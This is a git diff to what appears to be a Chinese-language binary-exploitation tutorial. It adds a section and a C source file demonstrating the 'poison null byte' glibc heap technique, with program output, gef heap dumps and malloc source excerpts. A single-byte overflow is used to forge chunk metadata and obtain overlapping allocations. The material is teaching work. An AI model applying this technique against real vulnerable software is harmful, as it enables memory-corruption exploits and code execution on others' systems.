diff --git a/doc/3.3.5_heap_exploit_1.md b/doc/3.3.5_heap_exploit_1.md index 31169c0..23614e3 100644 --- a/doc/3.3.5_heap_exploit_1.md +++ b/doc/3.3.5_heap_exploit_1.md @@ -675,7 +675,7 @@ gef➤ x/gx chunk0_ptr ``` 成功达成修改任意地址的成就。 -最后看一点新的东西，libc-2.25 在 unlink 的开头增加了对 size 和 next->prev->size 是否相同的检查，以对抗 1 字节溢出的问题。补丁如下： +最后看一点新的东西，libc-2.25 在 unlink 的开头增加了对 `chunk_size == next->prev->chunk_size` 的检查，以对抗单字节溢出的问题。补丁如下： ```diff $ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 diff --git a/doc/3.3.6_heap_exploit_2.md b/doc/3.3.6_heap_exploit_2.md index 3332749..f2846e4 100644 --- a/doc/3.3.6_heap_exploit_2.md +++ b/doc/3.3.6_heap_exploit_2.md @@ -14,6 +14,349 @@ [下载文件](../src/Others/3.3.5_heap_exploit) #### poison_null_byte +```c +#include +#include +#include +#include +#include + +int main() { + uint8_t *a, *b, *c, *b1, *b2, *d; + + a = (uint8_t*) malloc(0x10); + int real_a_size = malloc_usable_size(a); + fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a); + fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size); + + b = (uint8_t*) malloc(0x100); + c = (uint8_t*) malloc(0x80); + fprintf(stderr, "b: %p\n", b); + fprintf(stderr, "c: %p\n", c); + + uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); + *(size_t*)(b+0xf0) = 0x100; + fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr); + + // deal with tcache + // int *k[10], i; + // for (i = 0; i < 7; i++) { + // k[i] = malloc(0x100); + // } + // for (i = 0; i < 7; i++) { + // free(k[i]); + // } + free(b); + uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2; + fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr); + + a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" + fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); + fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); + + fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); + b1 = malloc(0x80); + memset(b1, 'A', 0x80); + fprintf(stderr, "We malloc 'b1': %p\n", b1); + fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr); + fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4)); + + b2 = malloc(0x40); + memset(b2, 'A', 0x40); + fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2); + + // deal with tcache + // for (i = 0; i < 7; i++) { + // k[i] = malloc(0x80); + // } + // for (i = 0; i < 7; i++) { + // free(k[i]); + // } + free(b1); + free(c); + fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); + + d = malloc(0x110); + fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d); + + fprintf(stderr, "b2 content:%s\n", b2); + memset(d, 'B', 0xb0); + fprintf(stderr, "New b2 content:%s\n", b2); +} +``` +``` +$ gcc -g poison_null_byte.c +$ ./a.out +We allocate 0x10 bytes for 'a': 0xabb010 +'real' size of 'a': 0x18 +b: 0xabb030 +c: 0xabb140 +b.size: 0x111 ((0x100 + 0x10) | prev_in_use) + +After free(b), c.prev_size: 0x110 +We overflow 'a' with a single null byte into the metadata of 'b' +b.size: 0x100 + +Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P)) +We malloc 'b1': 0xabb030 +c.prev_size: 0x110 +fake c.prev_size: 0x70 + +We malloc 'b2', our 'victim' chunk: 0xabb0c0 +Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2'). +Finally, we allocate 'd', overlapping 'b2': 0xabb030 + +b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +``` +该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。 + +首先分配三个 chunk，第一个 chunk 类型无所谓，但后两个不能是 fast chunk，因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出，去覆盖 chunk b 的第一个字节，chunk c 的作用是帮助伪造 fake chunk。 + +首先是溢出，那么就需要知道一个堆块实际可用的内存大小（因为空间复用，可能会比分配时要大一点），用于获得该大小的函数 `malloc_usable_size` 如下： +```c +/* + ------------------------- malloc_usable_size ------------------------- + */ +static size_t +musable (void *mem) +{ + mchunkptr p; + if (mem != 0) + { + p = mem2chunk (mem); + + [...] + if (chunk_is_mmapped (p)) + return chunksize (p) - 2 * SIZE_SZ; + else if (inuse (p)) + return chunksize (p) - SIZE_SZ; + } + return 0; +} +``` +```c +/* check for mmap()'ed chunk */ +#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED) +/* extract p's inuse bit */ +#define inuse(p) \ + ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE) +/* Get size, ignoring use bits */ +#define chunksize(p) ((p)->size & ~(SIZE_BITS)) +``` +所以 `real_a_size = chunksize(a) - 0x8 == 0x18`。另外需要注意的是程序是通过 next chunk 的 `PREV_INUSE` 标志来判断某 chunk 是否被使用的。 + +为了在修改 chunk b 的 size 字段后，依然能通过 unlink 的检查，我们需要伪造一个 c.prev_size 字段，字段的大小是很好计算的，即 `0x100 == (0x111 & 0xff00)`，正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉，chunk b 随后被放到 unsorted bin 中，大小是 0x110。此时的堆布局如下： +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000111 <-- chunk b [be freed] +0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603040: 0x0000000000000000 0x0000000000000000 +0x603050: 0x0000000000000000 0x0000000000000000 +0x603060: 0x0000000000000000 0x0000000000000000 +0x603070: 0x0000000000000000 0x0000000000000000 +0x603080: 0x0000000000000000 0x0000000000000000 +0x603090: 0x0000000000000000 0x0000000000000000 +0x6030a0: 0x0000000000000000 0x0000000000000000 +0x6030b0: 0x0000000000000000 0x0000000000000000 +0x6030c0: 0x0000000000000000 0x0000000000000000 +0x6030d0: 0x0000000000000000 0x0000000000000000 +0x6030e0: 0x0000000000000000 0x0000000000000000 +0x6030f0: 0x0000000000000000 0x0000000000000000 +0x603100: 0x0000000000000000 0x0000000000000000 +0x603110: 0x0000000000000000 0x0000000000000000 +0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size +0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c +0x603140: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603020, bk=0x603020 + → Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE) +``` + +最关键的一步，通过溢出漏洞覆写 chunk b 的数据： +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000100 <-- chunk b [be freed] +0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603040: 0x0000000000000000 0x0000000000000000 +0x603050: 0x0000000000000000 0x0000000000000000 +0x603060: 0x0000000000000000 0x0000000000000000 +0x603070: 0x0000000000000000 0x0000000000000000 +0x603080: 0x0000000000000000 0x0000000000000000 +0x603090: 0x0000000000000000 0x0000000000000000 +0x6030a0: 0x0000000000000000 0x0000000000000000 +0x6030b0: 0x0000000000000000 0x0000000000000000 +0x6030c0: 0x0000000000000000 0x0000000000000000 +0x6030d0: 0x0000000000000000 0x0000000000000000 +0x6030e0: 0x0000000000000000 0x0000000000000000 +0x6030f0: 0x0000000000000000 0x0000000000000000 +0x603100: 0x0000000000000000 0x0000000000000000 +0x603110: 0x0000000000000000 0x0000000000000000 +0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size +0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c +0x603140: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603020, bk=0x603020 + → Chunk(addr=0x603030, size=0x100, flags=) +``` +这时，根据我们上一篇文字中讲到的计算方法： +- `chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100` +- `prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100` + +可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。 + +接下来随意分配两个 chunk，malloc 会从 unsorted bin 中划出合适大小的内存返回给用户： +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000091 <-- chunk b1 <-- fake chunk b +0x603030: 0x4141414141414141 0x4141414141414141 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x4141414141414141 0x4141414141414141 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000000 0x0000000000000051 <-- chunk b2 <-- 'victim' chunk +0x6030c0: 0x4141414141414141 0x4141414141414141 +0x6030d0: 0x4141414141414141 0x4141414141414141 +0x6030e0: 0x4141414141414141 0x4141414141414141 +0x6030f0: 0x4141414141414141 0x4141414141414141 +0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin +0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size +0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c +0x603140: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603100, bk=0x603100 + → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) +``` +这里有个很有趣的东西，分配堆块后，发生变化的是 fake c.prev\_size，而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。 + +接下来是见证奇迹的时刻，我们知道，两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1，伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c，这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk，然后就将它们合并在了一起，并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间，被直接无视了，现在 malloc 认为这整块区域都是未分配的，新的 top chunk 指针已经说明了一切。 +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000020fe1 <-- top chunk +0x603030: 0x0000000000603100 0x00007ffff7dd1b78 +0x603040: 0x4141414141414141 0x4141414141414141 +0x603050: 0x4141414141414141 0x4141414141414141 +0x603060: 0x4141414141414141 0x4141414141414141 +0x603070: 0x4141414141414141 0x4141414141414141 +0x603080: 0x4141414141414141 0x4141414141414141 +0x603090: 0x4141414141414141 0x4141414141414141 +0x6030a0: 0x4141414141414141 0x4141414141414141 +0x6030b0: 0x0000000000000090 0x0000000000000050 <-- chunk b2 <-- 'victim' chunk +0x6030c0: 0x4141414141414141 0x4141414141414141 +0x6030d0: 0x4141414141414141 0x4141414141414141 +0x6030e0: 0x4141414141414141 0x4141414141414141 +0x6030f0: 0x4141414141414141 0x4141414141414141 +0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin +0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer +0x603120: 0x0000000000000020 0x0000000000000000 +0x603130: 0x0000000000000110 0x0000000000000090 +0x603140: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x603100, bk=0x603100 + → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) +``` +chunk 合并的过程如下，首先该 chunk 与前一个 chunk 合并，然后检查下一个 chunk 是否为 top chunk，如果不是，将合并后的 chunk 放回 unsorted bin 中，否则，合并进 top chunk： +```c + /* consolidate backward */ + if (!prev_inuse(p)) { + prevsize = p->prev_size; + size += prevsize; + p = chunk_at_offset(p, -((long) prevsize)); + unlink(av, p, bck, fwd); + } + + if (nextchunk != av->top) { + /* + Place the chunk in unsorted chunk list. Chunks are + not placed into regular bins until after they have + been given one chance to be used in malloc. + */ + [...] + } + + /* + If the chunk borders the current high end of memory, + consolidate into top + */ + + else { + size += nextsize; + set_head(p, size | PREV_INUSE); + av->top = p; + check_chunk(av, p); + } +``` + +接下来，申请一块大空间，大到可以把 chunk b2 包含进来，这样 chunk b2 就完全被我们控制了。 +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000121 <-- chunk d +0x603030: 0x4242424242424242 0x4242424242424242 +0x603040: 0x4242424242424242 0x4242424242424242 +0x603050: 0x4242424242424242 0x4242424242424242 +0x603060: 0x4242424242424242 0x4242424242424242 +0x603070: 0x4242424242424242 0x4242424242424242 +0x603080: 0x4242424242424242 0x4242424242424242 +0x603090: 0x4242424242424242 0x4242424242424242 +0x6030a0: 0x4242424242424242 0x4242424242424242 +0x6030b0: 0x4242424242424242 0x4242424242424242 <-- chunk b2 <-- 'victim' chunk +0x6030c0: 0x4242424242424242 0x4242424242424242 +0x6030d0: 0x4242424242424242 0x4242424242424242 +0x6030e0: 0x4141414141414141 0x4141414141414141 +0x6030f0: 0x4141414141414141 0x4141414141414141 +0x603100: 0x0000000000000000 0x0000000000000021 <-- small bins +0x603110: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer +0x603120: 0x0000000000000020 0x0000000000000000 +0x603130: 0x0000000000000110 0x0000000000000090 +0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk +gef➤ heap bins small +[ Small Bins for arena 'main_arena' ] +[+] small_bins[1]: fw=0x603100, bk=0x603100 + → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) +``` +还有个事情值得注意，在分配 chunk d 时，由于在 unsorted bin 中没有找到适合的 chunk，malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了，这里就是 small bins。 + +最后，继续看 libc-2.26 上的情况，还是一样的，处理好 tchache 就可以了，把两种大小的 tcache bin 都占满。 + +heap-buffer-overflow，但不知道为什么，加了内存检测参数后，real size 只能是正常的 0x10 了。 +``` +$ gcc -fsanitize=address -g poison_null_byte.c +$ ./a.out +We allocate 0x10 bytes for 'a': 0x60200000eff0 +'real' size of 'a': 0x10 +b: 0x611000009f00 +c: 0x60c00000bf80 +================================================================= +==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990 +READ of size 8 at 0x611000009ef8 thread T0 + #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22 + #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) + #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978) + +0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000) +allocated by thread T0 here: + #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) + #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15 + #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) +``` #### house_of_lore diff --git a/src/Others/3.3.5_heap_exploit/poison_null_byte.c b/src/Others/3.3.5_heap_exploit/poison_null_byte.c new file mode 100644 index 0000000..b1edec4 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/poison_null_byte.c @@ -0,0 +1,68 @@ +#include +#include +#include +#include +#include + +int main() { + uint8_t *a, *b, *c, *b1, *b2, *d; + + a = (uint8_t*) malloc(0x10); + int real_a_size = malloc_usable_size(a); + fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a); + fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size); + + b = (uint8_t*) malloc(0x100); + c = (uint8_t*) malloc(0x80); + fprintf(stderr, "b: %p\n", b); + fprintf(stderr, "c: %p\n", c); + + uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); + *(size_t*)(b+0xf0) = 0x100; + fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr); + + // deal with tcache + // int *k[10], i; + // for (i = 0; i < 7; i++) { + // k[i] = malloc(0x100); + // } + // for (i = 0; i < 7; i++) { + // free(k[i]); + // } + free(b); + uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2; + fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr); + + a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" + fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); + fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); + + fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); + b1 = malloc(0x80); + memset(b1, 'A', 0x80); + fprintf(stderr, "We malloc 'b1': %p\n", b1); + fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr); + fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4)); + + b2 = malloc(0x40); + memset(b2, 'A', 0x40); + fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2); + + // deal with tcache + // for (i = 0; i < 7; i++) { + // k[i] = malloc(0x80); + // } + // for (i = 0; i < 7; i++) { + // free(k[i]); + // } + free(b1); + free(c); + fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); + + d = malloc(0x110); + fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d); + + fprintf(stderr, "b2 content:%s\n", b2); + memset(d, 'B', 0xb0); + fprintf(stderr, "New b2 content:%s\n", b2); +}